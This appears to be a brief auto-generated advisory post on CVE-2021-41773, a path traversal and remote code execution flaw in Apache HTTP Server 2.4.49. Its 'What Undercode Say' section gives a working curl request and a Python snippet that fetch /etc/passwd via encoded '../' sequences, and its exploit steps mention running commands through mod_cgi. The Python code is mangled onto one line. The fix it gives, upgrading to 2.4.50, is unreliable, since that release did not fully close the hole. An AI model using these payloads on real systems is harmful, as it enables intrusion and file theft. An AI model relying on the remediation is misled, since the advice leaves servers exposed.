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How the CVE Works:
CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49. The flaw arises due to improper validation of file paths in URL-encoded directories. Attackers can exploit this by sending crafted requests containing `../` sequences, bypassing security checks. If `mod_cgi` is enabled, remote code execution (RCE) becomes possible. The vulnerability allows unauthorized access to files outside the web root, potentially exposing sensitive system data or enabling further server compromise.
DailyCVE Form:
Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal → RCE
Severity: Critical
Date: 2021-10-05
Prediction: Patch expected by 2021-10-07
What Undercode Say:
curl -v "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
import requests exploit_url = "http://vulnerable-site.com/icons/.%%32%65/.%%32%65/etc/passwd" response = requests.get(exploit_url) print(response.text)
How Exploit:
- Craft malicious HTTP requests with URL-encoded path traversal sequences.
- Leverage `mod_cgi` to execute arbitrary commands if enabled.
- Exfiltrate sensitive files (e.g.,
/etc/passwd).
Protection from this CVE:
- Upgrade to Apache 2.4.50 or later.
- Disable `mod_cgi` if unused.
- Implement strict input validation for URLs.
Impact:
- Unauthorized file access.
- Remote code execution (RCE).
- Server compromise.
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Sources:
Reported By: www.cve.org
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